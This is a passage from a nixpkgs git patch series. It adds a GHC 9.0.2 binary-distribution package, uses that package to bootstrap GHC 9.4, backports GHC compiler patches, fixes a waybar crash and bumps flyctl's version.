+      # Some platforms do HAVE_NUMA so -lnuma requires it in library-dirs in rts/package.conf.in
       # FFI_LIB_DIR is a good indication of places it must be needed.
-      lib.optionalString (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) ''
-        find . -name package.conf.in \
-            -exec sed -i "s@FFI_LIB_DIR@FFI_LIB_DIR ${numactl.out}/lib@g" {} \;
-      ''
+      lib.optionalString
+        (
+          lib.meta.availableOn stdenv.hostPlatform numactl
+          && builtins.any ({ nixPackage, ... }: nixPackage == numactl) binDistUsed.archSpecificLibraries
+        )
+        ''
+          find . -name package.conf.in \
+              -exec sed -i "s@FFI_LIB_DIR@FFI_LIB_DIR ${numactl.out}/lib@g" {} \;
+        ''
     +
       # Rename needed libraries and binaries, fix interpreter
       lib.optionalString stdenv.hostPlatform.isLinux ''

From b574f0d2d064d1cde6c27ed8abdaf1da31c9f3e8 Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Tue, 27 May 2025 14:58:09 +0200
Subject: [PATCH 1839/4511] haskell.compiler.ghc902Binary: init at 9.0.2

We can/should use 9.0.2 to bootstrap some GHC versions, having the
bindist makes things easier in some cases.

- To bootstrap GHC 9.4 using 9.2 is not possible and 8.10.7 doesn't
  always work. Since source built 9.0.2 is broken on darwin at the
  moment, the bindist helps. Reference #367686, #410085.
- To bootstrap GHC 9.2 without GHC 8.10. Reference #346214.

(cherry picked from commit 221e06a56d6fd1cb70aa3d75a4fee49a317d2cd4)
---
 .../compilers/ghc/9.0.2-binary.nix            | 502 ++++++++++++++++++
 pkgs/top-level/haskell-packages.nix           |  11 +
 2 files changed, 513 insertions(+)
 create mode 100644 pkgs/development/compilers/ghc/9.0.2-binary.nix

diff --git a/pkgs/development/compilers/ghc/9.0.2-binary.nix b/pkgs/development/compilers/ghc/9.0.2-binary.nix
new file mode 100644
index 000000000000..de15bd8e55f0
--- /dev/null
+++ b/pkgs/development/compilers/ghc/9.0.2-binary.nix
@@ -0,0 +1,502 @@
+{
+  lib,
+  stdenv,
+  fetchurl,
+  perl,
+  gcc,
+  ncurses5,
+  ncurses6,
+  gmp,
+  libiconv,
+  numactl,
+  libffi,
+  llvmPackages,
+  coreutils,
+  targetPackages,
+
+  # minimal = true; will remove files that aren't strictly necessary for
+  # regular builds and GHC bootstrapping.
+  # This is "useful" for staying within hydra's output limits for at least the
+  # aarch64-linux architecture.
+  minimal ? false,
+}:
+
+# Prebuilt only does native
+assert stdenv.targetPlatform == stdenv.hostPlatform;
+
+let
+  downloadsUrl = "https://downloads.haskell.org/ghc";
+
+  # Copy sha256 from https://downloads.haskell.org/~ghc/9.0.2/SHA256SUMS
+  version = "9.0.2";
+
+  # Information about available bindists that we use in the build.
+  #
+  # # Bindist library checking
+  #
+  # The field `archSpecificLibraries` also provides a way for us get notified
+  # early when the upstream bindist changes its dependencies (e.g. because a
+  # newer Debian version is used that uses a new `ncurses` version).
+  #
+  # Usage:
+  #
+  # * You can find the `fileToCheckFor` of libraries by running `readelf -d`
+  #   on the compiler binary (`exePathForLibraryCheck`).
+  # * To skip library checking for an architecture,
+  #   set `exePathForLibraryCheck = null`.
+  # * To skip file checking for a specific arch specific library,
+  #   set `fileToCheckFor = null`.
+  ghcBinDists = {
+    # Binary distributions for the default libc (e.g. glibc, or libSystem on Darwin)
+    # nixpkgs uses for the respective system.
+    defaultLibc = {
+      i686-linux = {
+        variantSuffix = "";
+        src = {
+          url = "${downloadsUrl}/${version}/ghc-${version}-i386-deb9-linux.tar.xz";
+          sha256 = "fdeb9f8928fbe994064778a8e1e85bb1a58a6cd3dd7b724fcc2a1dcfda6cad47";
+        };
+        exePathForLibraryCheck = "ghc/stage2/build/tmp/ghc-stage2";
+        archSpecificLibraries = [
+          {
+            nixPackage = gmp;
+            fileToCheckFor = null;
+          }
+          # The i686-linux bindist provided by GHC HQ is currently built on Debian 9,
+          # which link it against `libtinfo.so.5` (ncurses 5).
+          # Other bindists are linked `libtinfo.so.6` (ncurses 6).
+          {
+            nixPackage = ncurses5;
+            fileToCheckFor = "libtinfo.so.5";
+          }
+        ];
+      };
+      x86_64-linux = {
+        variantSuffix = "";
+        src = {
+          url = "${downloadsUrl}/${version}/ghc-${version}-x86_64-deb10-linux.tar.xz";
+          sha256 = "5d0b9414b10cfb918453bcd01c5ea7a1824fe95948b08498d6780f20ba247afc";
+        };
+        exePathForLibraryCheck = "ghc/stage2/build/tmp/ghc-stage2";
+        archSpecificLibraries = [
+          {
+            nixPackage = gmp;
+            fileToCheckFor = null;
+          }
+          {
+            nixPackage = ncurses6;
+            fileToCheckFor = "libtinfo.so.6";
+          }
+          {
+            nixPackage = numactl;
+            fileToCheckFor = null;
+          }
+        ];
+      };
+      aarch64-linux = {
+        variantSuffix = "";
+        src = {
+          url = "${downloadsUrl}/${version}/ghc-${version}-aarch64-deb10-linux.tar.xz";
+          sha256 = "cb016344c70a872738a24af60bd15d3b18749087b9905c1b3f1b1549dc01f46d";
+        };
+        exePathForLibraryCheck = "ghc/stage2/build/tmp/ghc-stage2";
+        archSpecificLibraries = [
+          {
+            nixPackage = gmp;
+            fileToCheckFor = null;
+          }
+          {
+            nixPackage = ncurses6;
+            fileToCheckFor = "libtinfo.so.6";
+          }
+          {
+            nixPackage = numactl;
+            fileToCheckFor = null;
+          }
+        ];
+      };
+      x86_64-darwin = {
+        variantSuffix = "";
+        src = {
+          url = "${downloadsUrl}/${version}/ghc-${version}-x86_64-apple-darwin.tar.xz";
+          sha256 = "e1fe990eb987f5c4b03e0396f9c228a10da71769c8a2bc8fadbc1d3b10a0f53a";
+        };
+        exePathForLibraryCheck = null; # we don't have a library check for darwin yet
+        archSpecificLibraries = [
+          {
+            nixPackage = gmp;
+            fileToCheckFor = null;
+          }
+          {
+            nixPackage = ncurses6;
+            fileToCheckFor = null;
+          }
+          {
+            nixPackage = libiconv;
+            fileToCheckFor = null;
+          }
+        ];
+      };
+      aarch64-darwin = {
+        variantSuffix = "";
+        src = {
+          url = "${downloadsUrl}/${version}/ghc-${version}-aarch64-apple-darwin.tar.xz";
+          sha256 = "b1fcab17fe48326d2ff302d70c12bc4cf4d570dfbbce68ab57c719cfec882b05";
+        };
+        exePathForLibraryCheck = null; # we don't have a library check for darwin yet
+        archSpecificLibraries = [
+          {
+            nixPackage = gmp;
+            fileToCheckFor = null;
+          }
+          {
+            nixPackage = ncurses6;
+            fileToCheckFor = null;
+          }
+          {
+            nixPackage = libiconv;
+            fileToCheckFor = null;
+          }
+        ];
+      };
+    };
+    # Binary distributions for the musl libc for the respective system.
+    musl = {
+      x86_64-linux = {
+        variantSuffix = "-musl";
+        src = {
+          url = "${downloadsUrl}/${version}/ghc-${version}-x86_64-alpine3.12-linux-gmp.tar.xz";
+          sha256 = "5bb1e7192c2b9fcff68930dbdc65509d345138e9a43c5d447056a68decc05ec8";
+        };
+        exePathForLibraryCheck = "bin/ghc";
+        archSpecificLibraries = [
+          {
+            nixPackage = gmp;
+            fileToCheckFor = null;
+          }
+          {
+            nixPackage = ncurses6;
+            fileToCheckFor = "libncursesw.so.6";
+          }
+        ];
+      };
+    };
+  };
+
+  distSetName = if stdenv.hostPlatform.isMusl then "musl" else "defaultLibc";
+
+  binDistUsed =
+    ghcBinDists.${distSetName}.${stdenv.hostPlatform.system}
+      or (throw "cannot bootstrap GHC on this platform ('${stdenv.hostPlatform.system}' with libc '${distSetName}')");
+
+  gmpUsed =
+    (builtins.head (
+      builtins.filter (
+        drv: lib.hasPrefix "gmp" (drv.nixPackage.name or "")
+      ) binDistUsed.archSpecificLibraries
+    )).nixPackage;
+
+  useLLVM = !(import ./common-have-ncg.nix { inherit lib stdenv version; });
+
+  libPath = lib.makeLibraryPath (
+    # Add arch-specific libraries.
+    map ({ nixPackage, ... }: nixPackage) binDistUsed.archSpecificLibraries
+  );
+
+  libEnvVar = lib.optionalString stdenv.hostPlatform.isDarwin "DY" + "LD_LIBRARY_PATH";
+
+  runtimeDeps =
+    [
+      targetPackages.stdenv.cc
+      targetPackages.stdenv.cc.bintools
+      coreutils # for cat
+    ]
+    ++ lib.optionals useLLVM [
+      (lib.getBin llvmPackages.llvm)
+    ]
+    # On darwin, we need unwrapped bintools as well (for otool)
+    ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
+      targetPackages.stdenv.cc.bintools.bintools
+    ];
+
+in
+
+stdenv.mkDerivation {
+  inherit version;
+  pname = "ghc-binary${binDistUsed.variantSuffix}";
+
+  src = fetchurl binDistUsed.src;
+
+  nativeBuildInputs = [ perl ];
+
+  # Set LD_LIBRARY_PATH or equivalent so that the programs running as part
+  # of the bindist installer can find the libraries they expect.
+  # Cannot patchelf beforehand due to relative RPATHs that anticipate
+  # the final install location.
+  ${libEnvVar} = libPath;
+
+  postUnpack =
+    # Verify our assumptions of which `libtinfo.so` (ncurses) version is used,
+    # so that we know when ghc bindists upgrade that and we need to update the
+    # version used in `libPath`.
+    lib.optionalString (binDistUsed.exePathForLibraryCheck != null)
+      # Note the `*` glob because some GHCs have a suffix when unpacked, e.g.
+      # the musl bindist has dir `ghc-VERSION-x86_64-unknown-linux/`.
+      # As a result, don't shell-quote this glob when splicing the string.
+      (
+        let
+          buildExeGlob = ''ghc-${version}*/"${binDistUsed.exePathForLibraryCheck}"'';
+        in
+        lib.concatStringsSep "\n" [
+          (''
+            shopt -u nullglob
+            echo "Checking that ghc binary exists in bindist at ${buildExeGlob}"
+            if ! test -e ${buildExeGlob}; then
+              echo >&2 "GHC binary ${binDistUsed.exePathForLibraryCheck} could not be found in the bindist build directory (at ${buildExeGlob}) for arch ${stdenv.hostPlatform.system}, please check that ghcBinDists correctly reflect the bindist dependencies!"; exit 1;
+            fi
+          '')
+          (lib.concatMapStringsSep "\n" (
+            { fileToCheckFor, nixPackage }:
+            lib.optionalString (fileToCheckFor != null) ''
+              echo "Checking bindist for ${fileToCheckFor} to ensure that is still used"
+              if ! readelf -d ${buildExeGlob} | grep "${fileToCheckFor}"; then
+                echo >&2 "File ${fileToCheckFor} could not be found in ${binDistUsed.exePathForLibraryCheck} for arch ${stdenv.hostPlatform.system}, please check that ghcBinDists correctly reflect the bindist dependencies!"; exit 1;
+              fi
+
+              echo "Checking that the nix package ${nixPackage} contains ${fileToCheckFor}"
+              if ! test -e "${lib.getLib nixPackage}/lib/${fileToCheckFor}"; then
+                echo >&2 "Nix package ${nixPackage} did not contain ${fileToCheckFor} for arch ${stdenv.hostPlatform.system}, please check that ghcBinDists correctly reflect the bindist dependencies!"; exit 1;
+              fi
+            ''
+          ) binDistUsed.archSpecificLibraries)
+        ]
+      )
+    # GHC has dtrace probes, which causes ld to try to open /usr/lib/libdtrace.dylib
+    # during linking
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      export NIX_LDFLAGS+=" -no_dtrace_dof"
+      # not enough room in the object files for the full path to libiconv :(
+      for exe in $(find . -type f -executable); do
+        isScript $exe && continue
+        ln -fs ${libiconv}/lib/libiconv.dylib $(dirname $exe)/libiconv.dylib
+        install_name_tool -change /usr/lib/libiconv.2.dylib @executable_path/libiconv.dylib -change /usr/local/lib/gcc/6/libgcc_s.1.dylib ${gcc.cc.lib}/lib/libgcc_s.1.dylib $exe
+      done
+    ''
+    +
+
+      # Some scripts used during the build need to have their shebangs patched
+      ''
+        patchShebangs ghc-${version}/utils/
+        patchShebangs ghc-${version}/configure
+        test -d ghc-${version}/inplace/bin && \
+          patchShebangs ghc-${version}/inplace/bin
+      ''
+    +
+      # We have to patch the GMP paths for the integer-gmp package.
+      ''
+        find . -name ghc-bignum.buildinfo \
+            -exec sed -i "s@extra-lib-dirs: @extra-lib-dirs: ${lib.getLib gmpUsed}/lib@" {} \;
+
+        # we need to modify the package db directly for hadrian bindists
+        find . -name 'ghc-bignum*.conf' \
+            -exec sed -e '/^[a-z-]*library-dirs/a \    ${lib.getLib gmpUsed}/lib' -i {} \;
+      ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      # we need to modify the package db directly for hadrian bindists
+      # (all darwin bindists are hadrian-based for 9.2.2)
+      find . -name 'base*.conf' \
+          -exec sed -e '/^[a-z-]*library-dirs/a \    ${lib.getLib libiconv}/lib' -i {} \;
+
+      # To link RTS in the end we also need libffi now
+      find . -name 'rts*.conf' \
+          -exec sed -e '/^[a-z-]*library-dirs/a \    ${lib.getLib libffi}/lib' \
+                    -e 's@/Library/Developer/.*/usr/include/ffi@${lib.getDev libffi}/include@' \
+                    -i {} \;
+    ''
+    +
+      # Some platforms do HAVE_NUMA so -lnuma requires it in library-dirs in rts/package.conf.in
+      # FFI_LIB_DIR is a good indication of places it must be needed.
+      lib.optionalString
+        (
+          lib.meta.availableOn stdenv.hostPlatform numactl
+          && builtins.any ({ nixPackage, ... }: nixPackage == numactl) binDistUsed.archSpecificLibraries
+        )
+        ''
+          find . -name package.conf.in \
+              -exec sed -i "s@FFI_LIB_DIR@FFI_LIB_DIR ${numactl.out}/lib@g" {} \;
+        ''
+    +
+      # Rename needed libraries and binaries, fix interpreter
+      lib.optionalString stdenv.hostPlatform.isLinux ''
+        find . -type f -executable -exec patchelf \
+            --interpreter ${stdenv.cc.bintools.dynamicLinker} {} \;
+      '';
+
+  # fix for `configure: error: Your linker is affected by binutils #16177`
+  preConfigure = lib.optionalString stdenv.targetPlatform.isAarch32 "LD=ld.gold";
+
+  configurePlatforms = [ ];
+  configureFlags =
+    [
+      "--with-gmp-includes=${lib.getDev gmpUsed}/include"
+      # Note `--with-gmp-libraries` does nothing for GHC bindists:
+      # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6124
+    ]
+    ++ lib.optional stdenv.hostPlatform.isDarwin "--with-gcc=${./gcc-clang-wrapper.sh}"
+    # From: https://github.com/NixOS/nixpkgs/pull/43369/commits
+    ++ lib.optional stdenv.hostPlatform.isMusl "--disable-ld-override";
+
+  # No building is necessary, but calling make without flags ironically
+  # calls install-strip ...
+  dontBuild = true;
+
+  # Patch scripts to include runtime dependencies in $PATH.
+  postInstall = ''
+    for i in "$out/bin/"*; do
+      test ! -h "$i" || continue
+      isScript "$i" || continue
+      sed -i -e '2i export PATH="${lib.makeBinPath runtimeDeps}:$PATH"' "$i"
+    done
+  '';
+
+  # Apparently necessary for the ghc Alpine (musl) bindist:
+  # When we strip, and then run the
+  #     patchelf --set-rpath "${libPath}:$(patchelf --print-rpath $p)" $p
+  # below, running ghc (e.g. during `installCheckPhase)` gives some apparently
+  # corrupted rpath or whatever makes the loader work on nonsensical strings:
+  #     running install tests
+  #     Error relocating /nix/store/...-ghc-8.10.2-binary/lib/ghc-8.10.5/bin/ghc: : symbol not found
+  #     Error relocating /nix/store/...-ghc-8.10.2-binary/lib/ghc-8.10.5/bin/ghc: ir6zf6c9f86pfx8sr30n2vjy-ghc-8.10.2-binary/lib/ghc-8.10.5/bin/../lib/x86_64-linux-ghc-8.10.5/libHSexceptions-0.10.4-ghc8.10.5.so: symbol not found
+  #     Error relocating /nix/store/...-ghc-8.10.2-binary/lib/ghc-8.10.5/bin/ghc: y/lib/ghc-8.10.5/bin/../lib/x86_64-linux-ghc-8.10.5/libHStemplate-haskell-2.16.0.0-ghc8.10.5.so: symbol not found
+  #     Error relocating /nix/store/...-ghc-8.10.2-binary/lib/ghc-8.10.5/bin/ghc: 8.10.5/libHStemplate-haskell-2.16.0.0-ghc8.10.5.so: symbol not found
+  #     Error relocating /nix/store/...-ghc-8.10.2-binary/lib/ghc-8.10.5/bin/ghc: �: symbol not found
+  #     Error relocating /nix/store/...-ghc-8.10.2-binary/lib/ghc-8.10.5/bin/ghc: �?: symbol not found
+  #     Error relocating /nix/store/...-ghc-8.10.2-binary/lib/ghc-8.10.5/bin/ghc: 64-linux-ghc-8.10.5/libHSexceptions-0.10.4-ghc8.10.5.so: symbol not found
+  # This is extremely bogus and should be investigated.
+  dontStrip = if stdenv.hostPlatform.isMusl then true else false; # `if` for explicitness
+
+  # On Linux, use patchelf to modify the executables so that they can
+  # find editline/gmp.
+  postFixup =
+    lib.optionalString (stdenv.hostPlatform.isLinux && !(binDistUsed.isStatic or false)) (
+      if stdenv.hostPlatform.isAarch64 then
+        # Keep rpath as small as possible on aarch64 for patchelf#244.  All Elfs
+        # are 2 directories deep from $out/lib, so pooling symlinks there makes
+        # a short rpath.
+        ''
+          (cd $out/lib; ln -s ${ncurses6.out}/lib/libtinfo.so.6)
+          (cd $out/lib; ln -s ${lib.getLib gmpUsed}/lib/libgmp.so.10)
+          (cd $out/lib; ln -s ${numactl.out}/lib/libnuma.so.1)
+          for p in $(find "$out/lib" -type f -name "*\.so*"); do
+            (cd $out/lib; ln -s $p)
+          done
+
+          for p in $(find "$out/lib" -type f -executable); do
+            if isELF "$p"; then
+              echo "Patchelfing $p"
+              patchelf --set-rpath "\$ORIGIN:\$ORIGIN/../.." $p
+            fi
+          done
+        ''
+      else
+        ''
+          for p in $(find "$out" -type f -executable); do
+            if isELF "$p"; then
+              echo "Patchelfing $p"
+              patchelf --set-rpath "${libPath}:$(patchelf --print-rpath $p)" $p
+            fi
+          done
+        ''
+    )
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      # not enough room in the object files for the full path to libiconv :(
+      for exe in $(find "$out" -type f -executable); do
+        isScript $exe && continue
+        ln -fs ${libiconv}/lib/libiconv.dylib $(dirname $exe)/libiconv.dylib
+        install_name_tool -change /usr/lib/libiconv.2.dylib @executable_path/libiconv.dylib -change /usr/local/lib/gcc/6/libgcc_s.1.dylib ${gcc.cc.lib}/lib/libgcc_s.1.dylib $exe
+      done
+
+      for file in $(find "$out" -name setup-config); do
+        substituteInPlace $file --replace /usr/bin/ranlib "$(type -P ranlib)"
+      done
+    ''
+    + lib.optionalString minimal ''
+      # Remove profiling files
+      find $out -type f -name '*.p_o' -delete
+      find $out -type f -name '*.p_hi' -delete
+      find $out -type f -name '*_p.a' -delete
+      # `-f` because e.g. musl bindist does not have this file.
+      rm -f $out/lib/ghc-*/bin/ghc-iserv-prof
+      # Hydra will redistribute this derivation, so we have to keep the docs for
+      # legal reasons (retaining the legal notices etc)
+      # As a last resort we could unpack the docs separately and symlink them in.
+      # They're in $out/share/{doc,man}.
+    ''
+    # Recache package db which needs to happen for Hadrian bindists
+    # where we modify the package db before installing
+    + ''
+      shopt -s nullglob
+      package_db=("$out"/lib/ghc-*/lib/package.conf.d "$out"/lib/ghc-*/package.conf.d)
+      "$out/bin/ghc-pkg" --package-db="$package_db" recache
+    '';
+
+  # GHC cannot currently produce outputs that are ready for `-pie` linking.
+  # Thus, disable `pie` hardening, otherwise `recompile with -fPIE` errors appear.
+  # See:
+  # * https://github.com/NixOS/nixpkgs/issues/129247
+  # * https://gitlab.haskell.org/ghc/ghc/-/issues/19580
+  hardeningDisable = [ "pie" ];
+
+  doInstallCheck = true;
+  installCheckPhase = ''
+    # Sanity check, can ghc create executables?
+    cd $TMP
+    mkdir test-ghc; cd test-ghc
+    cat > main.hs << EOF
+      {-# LANGUAGE TemplateHaskell #-}
+      module Main where
+      main = putStrLn \$([|"yes"|])
+    EOF
+    env -i $out/bin/ghc --make main.hs || exit 1
+    echo compilation ok
+    [ $(./main) == "yes" ]
+  '';
+
+  passthru =
+    {
+      targetPrefix = "";
+      enableShared = true;
+
+      inherit llvmPackages;
+
+      # Our Cabal compiler name
+      haskellCompilerName = "ghc-${version}";
+    }
+    # We duplicate binDistUsed here since we have a sensible default even if no bindist is available,
+    # this makes sure that getting the `meta` attribute doesn't throw even on unsupported platforms.
+    // lib.optionalAttrs (ghcBinDists.${distSetName}.${stdenv.hostPlatform.system}.isHadrian or false) {
+      # Normal GHC derivations expose the hadrian derivation used to build them
+      # here. In the case of bindists we just make sure that the attribute exists,
+      # as it is used for checking if a GHC derivation has been built with hadrian.
+      # The isHadrian mechanism will become obsolete with GHCs that use hadrian
+      # exclusively, i.e. 9.6 (and 9.4?).
+      hadrian = null;
+    };
+
+  meta = rec {
+    homepage = "http://haskell.org/ghc";
+    description = "Glasgow Haskell Compiler";
+    license = lib.licenses.bsd3;
+    # HACK: since we can't encode the libc / abi in platforms, we need
+    # to make the platform list dependent on the evaluation platform
+    # in order to avoid eval errors with musl which supports less
+    # platforms than the default libcs (i. e. glibc / libSystem).
+    # This is done for the benefit of Hydra, so `packagePlatforms`
+    # won't return any platforms that would cause an evaluation
+    # failure for `pkgsMusl.haskell.compiler.ghc922Binary`, as
+    # long as the evaluator runs on a platform that supports
+    # `pkgsMusl`.
+    platforms = builtins.attrNames ghcBinDists.${distSetName};
+    teams = [ lib.teams.haskell ];
+  };
+}
diff --git a/pkgs/top-level/haskell-packages.nix b/pkgs/top-level/haskell-packages.nix
index 056bff525209..4d0d1a6a98ff 100644
--- a/pkgs/top-level/haskell-packages.nix
+++ b/pkgs/top-level/haskell-packages.nix
@@ -23,6 +23,7 @@ let
     # Binary GHCs
     "ghc865Binary"
     "ghc8107Binary"
+    "ghc902Binary"
     "ghc924Binary"
     "ghc963Binary"
     "ghc984Binary"
@@ -91,6 +92,10 @@ in
         llvmPackages = pkgs.llvmPackages_12;
       };
 
+      ghc902Binary = callPackage ../development/compilers/ghc/9.0.2-binary.nix {
+        llvmPackages = pkgs.llvmPackages_12;
+      };
+
       ghc924Binary = callPackage ../development/compilers/ghc/9.2.4-binary.nix {
         llvmPackages = pkgs.llvmPackages_12;
       };
@@ -521,6 +526,12 @@ in
         compilerConfig = callPackage ../development/haskell-modules/configuration-ghc-8.10.x.nix { };
         packageSetConfig = bootstrapPackageSet;
       };
+      ghc902Binary = callPackage ../development/haskell-modules {
+        buildHaskellPackages = bh.packages.ghc902Binary;
+        ghc = bh.compiler.ghc902Binary;
+        compilerConfig = callPackage ../development/haskell-modules/configuration-ghc-9.0.x.nix { };
+        packageSetConfig = bootstrapPackageSet;
+      };
       ghc924Binary = callPackage ../development/haskell-modules {
         buildHaskellPackages = bh.packages.ghc924Binary;
         ghc = bh.compiler.ghc924Binary;

From b4428e49bddd6f5d5d1f93de89fa73ff492b15cd Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Tue, 27 May 2025 15:23:18 +0200
Subject: [PATCH 1840/4511] haskell.compiler.ghc94: bootstrap from 9.0.2
 bindist

(cherry picked from commit da08e91e7761fdc453d8c9132bbead7634e40027)
---
 pkgs/top-level/haskell-packages.nix | 18 ++++--------------
 1 file changed, 4 insertions(+), 14 deletions(-)

diff --git a/pkgs/top-level/haskell-packages.nix b/pkgs/top-level/haskell-packages.nix
index 4d0d1a6a98ff..3e9aec8c5b4a 100644
--- a/pkgs/top-level/haskell-packages.nix
+++ b/pkgs/top-level/haskell-packages.nix
@@ -160,17 +160,12 @@ in
         bootPkgs =
           # Building with 9.2 is broken due to
           # https://gitlab.haskell.org/ghc/ghc/-/issues/21914
-          # Use 8.10 as a workaround where possible to keep bootstrap path short.
 
-          # On ARM text won't build with GHC 8.10.*
-          if stdenv.buildPlatform.isAarch then
-            # TODO(@sternenseemann): package bindist
-            bb.packages.ghc902
           # No suitable bindists for powerpc64le
-          else if stdenv.buildPlatform.isPower64 && stdenv.buildPlatform.isLittleEndian then
+          if stdenv.buildPlatform.isPower64 && stdenv.buildPlatform.isLittleEndian then
             bb.packages.ghc902
           else
-            bb.packages.ghc8107Binary;
+            bb.packages.ghc902Binary;
         inherit (buildPackages.python3Packages) sphinx;
         # Need to use apple's patched xattr until
         # https://github.com/xattr/xattr/issues/44 and
@@ -184,17 +179,12 @@ in
         bootPkgs =
           # Building with 9.2 is broken due to
           # https://gitlab.haskell.org/ghc/ghc/-/issues/21914
-          # Use 8.10 as a workaround where possible to keep bootstrap path short.
 
-          # On ARM text won't build with GHC 8.10.*
-          if stdenv.buildPlatform.isAarch then
-            # TODO(@sternenseemann): package bindist
-            bb.packages.ghc902
           # No suitable bindists for powerpc64le
-          else if stdenv.buildPlatform.isPower64 && stdenv.buildPlatform.isLittleEndian then
+          if stdenv.buildPlatform.isPower64 && stdenv.buildPlatform.isLittleEndian then
             bb.packages.ghc902
           else
-            bb.packages.ghc8107Binary;
+            bb.packages.ghc902Binary;
         inherit (buildPackages.python3Packages) sphinx;
         # Need to use apple's patched xattr until
         # https://github.com/xattr/xattr/issues/44 and

From 5ebbed35bc0102807a15d18893897e710943f67a Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Fri, 23 May 2025 10:52:11 +0200
Subject: [PATCH 1841/4511] haskell.compiler.ghc94: don't roundtrip C
 compilation via assembly

GHC can be used to compile C sources which causes it to drive the
configured C compiler. This is particularly relevant during GHC's own
compilation, e.g. when building the rts. GHC takes a peculiar approach,
always generating intermediate assembly instead of letting the C
compiler emit object files directly. This causes an assembler check in
clang >= 18 to fail on rts/StgCRun.c, failing the GHC build on darwin
completely.

Later GHC versions don't exhibit this issue since object code is emitted
directly since 9.6. The easiest way to resolve the compilation failure
seems to backport this change. However, the patch only applies on
GHC 9.4 which is done here. The patch may be difficult to backport
further, as the changed code was extensively refactored in GHC 9.4.

Reference #367686.

(cherry picked from commit 16dca700d737702eb122fd50f5794ecb8a75e491)
---
 .../ghc/common-make-native-bignum.nix         | 39 ++++++++++++++++++-
 1 file changed, 38 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/compilers/ghc/common-make-native-bignum.nix b/pkgs/development/compilers/ghc/common-make-native-bignum.nix
index 03ad68c392a1..d3573cc3a522 100644
--- a/pkgs/development/compilers/ghc/common-make-native-bignum.nix
+++ b/pkgs/development/compilers/ghc/common-make-native-bignum.nix
@@ -364,7 +364,44 @@ stdenv.mkDerivation (
           else
             ./Cabal-3.2-3.4-paths-fix-cycle-aarch64-darwin.patch
         )
-      ];
+      ]
+      # Before GHC 9.6, GHC, when used to compile C sources (i.e. to drive the CC), would first
+      # invoke the C compiler to generate assembly and later call the assembler on the result of
+      # that operation. Unfortunately, that is brittle in a lot of cases, e.g. when using mismatched
+      # CC / assembler (https://gitlab.haskell.org/ghc/ghc/-/merge_requests/12005). This issue
+      # does not affect us. However, LLVM 18 introduced a check in clang that makes sure no
+      # non private labels occur between .cfi_startproc and .cfi_endproc which causes the
+      # assembly that the same version (!) of clang generates from rts/StgCRun.c to be rejected.
+      # This causes GHC to fail compilation on mach-o platforms ever since we upgraded to
+      # LLVM 19.
+      #
+      # clang compiles the same file without issues whithout the roundtrip via assembly. Thus,
+      # the solution is to backport those changes from GHC 9.6 that skip the intermediate
+      # assembly step.
+      #
+      # https://gitlab.haskell.org/ghc/ghc/-/issues/25608#note_622589
+      # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6877
+      ++ (
+        if lib.versionAtLeast version "9.4" then
+          [
+            # Need to use this patch so the next one applies, passes file location info to the cc phase
+            (fetchpatch {
+              name = "ghc-add-location-to-cc-phase.patch";
+              url = "https://gitlab.haskell.org/ghc/ghc/-/commit/4a7256a75af2fc0318bef771a06949ffb3939d5a.patch";
+              hash = "sha256-DnTI+i1zMebeWvw75D59vMaEEBb2Nr9HusxTyhmdy2M=";
+            })
+            # Makes Cc phase directly generate object files instead of assembly
+            (fetchpatch {
+              name = "ghc-cc-directly-emit-object.patch";
+              url = "https://gitlab.haskell.org/ghc/ghc/-/commit/96811ba491495b601ec7d6a32bef8563b0292109.patch";
+              hash = "sha256-G8u7/MK/tGOEN8Wxccxj/YIOP7mL2G9Co1WKdHXOo6I=";
+            })
+          ]
+        else
+          [
+            # TODO(@sternenseemann): backport changes to GHC < 9.4 if possible
+          ]
+      );
 
     postPatch = "patchShebangs .";
 

From 4297b35d2839d7179877728c3bc72bbabed55268 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 30 Jun 2025 14:17:42 +0200
Subject: [PATCH 1842/4511] waybar: fix crash when tray element has no default
 icon

(cherry picked from commit 91a31867a6f8b45a165011c6ad1d7d43ef9a4abd)
---
 pkgs/by-name/wa/waybar/package.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/by-name/wa/waybar/package.nix b/pkgs/by-name/wa/waybar/package.nix
index 3d9112626bc6..b9935d5e7d1a 100644
--- a/pkgs/by-name/wa/waybar/package.nix
+++ b/pkgs/by-name/wa/waybar/package.nix
@@ -3,6 +3,7 @@
   stdenv,
   bash,
   fetchFromGitHub,
+  fetchpatch,
   SDL2,
   alsa-lib,
   catch2_3,
@@ -89,6 +90,14 @@ stdenv.mkDerivation (finalAttrs: {
     popd
   '';
 
+  patches = [
+    (fetchpatch {
+      name = "waybar-default-icon.patch";
+      url = "https://github.com/Alexays/Waybar/commit/c336bc5466c858ac41dc9afd84f04a5ffec9e292.patch";
+      hash = "sha256-RRGy/aeFX95fW0pT6mXhww2RdEtoOnaT3+dc7iB3bAY=";
+    })
+  ];
+
   nativeBuildInputs =
     [
       meson

From ed51b55eb4a8586bc5a6f0b36c86e36b90aa3b60 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 28 Jun 2025 01:17:26 +0000
Subject: [PATCH 1843/4511] flyctl: 0.3.144 -> 0.3.145

(cherry picked from commit 1c92c150882a4f67c1bc39839fee84535fa5f20d)
---
 pkgs/by-name/fl/flyctl/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index 2b029b290541..52fbfab29283 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.144";
+  version = "0.3.145";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
